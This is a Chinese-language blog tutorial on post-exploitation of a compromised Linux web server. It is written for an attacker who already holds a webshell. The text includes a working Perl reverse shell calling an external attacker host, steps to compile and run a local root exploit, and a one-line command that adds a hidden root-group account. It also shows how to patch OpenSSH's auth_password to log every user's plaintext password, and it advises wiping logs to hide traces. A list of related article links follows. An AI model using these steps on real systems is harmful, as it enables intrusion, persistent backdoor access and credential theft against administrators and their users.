Linux低权限用户记录ssh密码
0x01 场景
现在有个攻击场景,就是你拿到了linux外网服务器的webshell,要做内网渗透前肯定要收集信息。其中可以做的一个工作是重新编译ssh来记录管理员的密码信息,信息可以用来撞其他机器的密码。下面就从linux的提权开始
0x02 过程
反弹shell
linux下为啥要反弹出一个shell来提权,这个你可以用webshell来执行一次溢出exp。
自己外网服务器 nc -l -vv -p 1234 ,监听1234端口
webshell如果能访问外网,则用bash,python,perl等脚本反向连接。把代码写入/tmp/(也可以是其他目录)并执行。例如perl代码
Perl
use Socket;$i="www.hackblog.cn" //外网服务器地址,可以是IP$p=; //反向连接端口
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){
open(STDIN,">&S");open(STDOUT,">&S");
open(STDERR,">&S");exec("/bin/sh -i");};
在/tmp/写入找到的exp源文件,利用webshell或者反弹过来的shell编译,gcc -o root.out exp.c
赋予 root.out 执行权限, chmod +x root.out
用反弹shell执行exp,完成后查看当前权限 ./root.out
重新编译ssh
第一步顺利的话就可以直接一句话加一个自己的账户了
Bash useradd -p `openssl passwd - -salt 'xxx' luo` -u -o -g root -G root -s /bin/bash -d /usr/bin/luo luo //一句添加账户密码luo:luo
ssh登陆上去,cat /etc/passwd 看看都有哪些账户,然后last看看最近都哪些鬼登陆了。既然shadow不好破解,那么我想在这些账户下一次登陆的时候记录他们的密码怎么办。参考百度上的文章,大概修改一下步骤,提几句注意事项。
备份原来的ssh,mv /etc/ssh /etc/ssh_bak
下载ssh源文件。网上用的6.6,我看版本不是很旧,就直接用
wget http://openbsd.cs.toronto.edu/pub/OpenBSD/OpenSSH/portable/openssh-6.6p1.tar.gz
tar -zxvf openssh-.6p1.tar.gz 解压后进入解压出的目录
vi auth-passwd.c 编辑这个文件,查找auth_password这个函数,在函数的第一行加入一句
logit("username: %s password: %s", authctxt->user, password);
保存之后
./configure --sysconfdir=/etc/ssh --without-zlib-version-check --with-md5-passwords
make
make install
重启ssh服务
service ssh restart
接下来,通过ssh不管登陆成功和失败都会把账号密码记录在日志里。这个日志在/var/log/下,Ubuntu的是auth.log,其他系统可以看日志最后修改的时间,随便翻翻最新的日志就行。过一段时间就找到日志看看有木有鱼儿上钩。建议先清空日志,这样下次有登陆信息就可以很方便的观察到文件大小的变化。
注意事项
渗透最后工作就是清除自己的痕迹了。可以echo >/var/log/xxx 这么清除。千万别直接删除日志文件,这样的话就不会再自动生成日志了,即使新建一个同名文件也不行。如果你已经删了,请自行百度解决办法。
Linux低权限用户记录ssh密码的更多相关文章
- Linux给普通用户增加ssh权限
//1,创建用户 useradd name //2,修改密码 passwd name //3,修改ssh配置文件,在最后一行添加AllowUsers name vi /etc/ssh/sshd_con ...
- Mysql 漏洞利用(越权读取文件,实战怎么从低权限拿到root密码)[转]
cnrstar (Be My Personal Best!) | 2014-05-20 21:58 众所周知,Mysql的用户在没有File权限情况下是无法通过Load_file读文件或者通过into ...
- linux低权限执行高权限
1.关于sudo不需要输密码,低权限执行高权限,在root下的命令visudo放开%wheel ALL:保存退出, 执行gpasswd -a yourusername wheel 2.脚本命令下的,权 ...
- Linux命令权限 用户权限 组权限 文件、目录权限
Linux命令的格式是: 命令+选项+参数 命令是必须存在的,选项和参数可以不必存在,不写的情况是有默认的参数 Linux 一切皆文件 对于文件而言,只需要对文件进行读写就可以实现对文件内容内容的增删 ...
- 终端-Linux命令之非交互SSH密码验证-Sshpass
Sshpass是使用SSH所谓的"交互式键盘密码身份验证"以非交互方式执行密码身份验证的工具 通俗来说就是 使用ssh密码登录 是需要在连接时手动输入密码的,没办法明文连接,如下图 ...
- 【python小工具】linux 低权限密码记录 提权小套路
#!/usr/bin/python import os, sys, getpass, time current_time = time.strftime("%Y-%m-%d %H:%M&qu ...
- linux创建新用户以及修改密码
1. 使用root账户创建新用户 useradd webuser 2. 修改新增的用户的密码 passwd webuser 这时候会提示你输入新的密码: 注意:不要用su webuser进入该账户修改 ...
- 个人理解Linux文件权限--以前记录的,根据鸟哥的第二版去解释的
ps:鸟哥的第三版私房菜印刷的有问题 上面的意思:d指的是目录 档案拥有者权限:r可读w可写,x,可运行, 同群组的权限:r可读,这段有个-号,表示不可写,x表示可运行 其他非本群组的权限:r可读,这 ...
- linux和windows互传文件/用户配置文件和密码配置文件/用户组管理/用户管理
2.27linux和windows互传文件 3.1 用户配置文件和密码配置文件 3.2 用户组管理 3.3 用户管理 linux和windows互传文件 显示日期date [root@centos_1 ...
随机推荐
- apache ignite系列(九):使用ddl和dml脚本初始化ignite并使用mybatis查询缓存
博客又断了一段时间,本篇将记录一下基于ignite对jdbc支持的特性在实际使用过程中的使用. 使用ddl和dml脚本初始化ignite 由于spring-boot中支持通过spring.dataso ...
- ASP.NET Core 2.2 : 二十二. 多样性的配置方式
大多数应用都离不开配置,本章将介绍ASP.NET Core中常见的几种配置方式及系统内部实现的机制. 说到配置,第一印象可能就是“.config”类型的xml文件或者“.ini”类型的ini文件,在A ...
- Dubbo Spring Cloud 之 HTTP 实战
上一篇文章<Spring Cloud Alibaba | Dubbo 与 Spring Cloud 完美结合>我们介绍了Dubbo Spring Cloud的基本使用,使用的服务中心为Sp ...
- Windows 笔记 - 用到的设置
博客地址:http://www.moonxy.com 在日常使用 Windows 的过程中,或多或少会遇到一些设置,记录下来,以备以后使用. 1. 不重启电脑使 hosts 生效的解决方法 有时候需要 ...
- php判断访问协议是否是https
可以通过$_SERVER中获取是否是HTTPS协议. 在$_SERVER["SERVER_PROTOCOL"]中拿到的只能是http.$_SERVER['HTTPS'] === ...
- jmeter 命令压测生成报告
1.本地复制到远程 scp -r local_folder remote_username@remote_ip:remote_folder 或者 scp -r local_folder remote_ ...
- 品Spring:SpringBoot发起bean定义注册的“二次攻坚战”
上一篇文章整体非常轻松,因为在容器启动前,只注册了一个bean定义,就是SpringBoot的主类. OK,今天接着从容器的启动入手,找出剩余所有的bean定义的注册过程. 具体细节肯定会颇为复杂,同 ...
- Dubbo学习系列之九(Shiro+JWT权限管理)
村长让小王给村里各系统来一套SSO方案做整合,隔壁的陈家村流行使用Session+认证中心方法,但小王想尝试点新鲜的,于是想到了JWT方案,那JWT是啥呢?JavaWebToken简称JWT,就是一个 ...
- logcat粗略了解(一)
Logcat Logcat介绍:logcat是android的一个命令行工具,用于的到程序的log信息 Logcat命令格式: [adb] logcat [<option>]…[<f ...
- Mysql INSTR函数
在Mysql中,可以使用INSTR(str,substr)函数,用于在一个字符串(str)中搜索指定的字符(substr),返回找到指定的字符的第一个位置(index),index是从1开始计算,如果 ...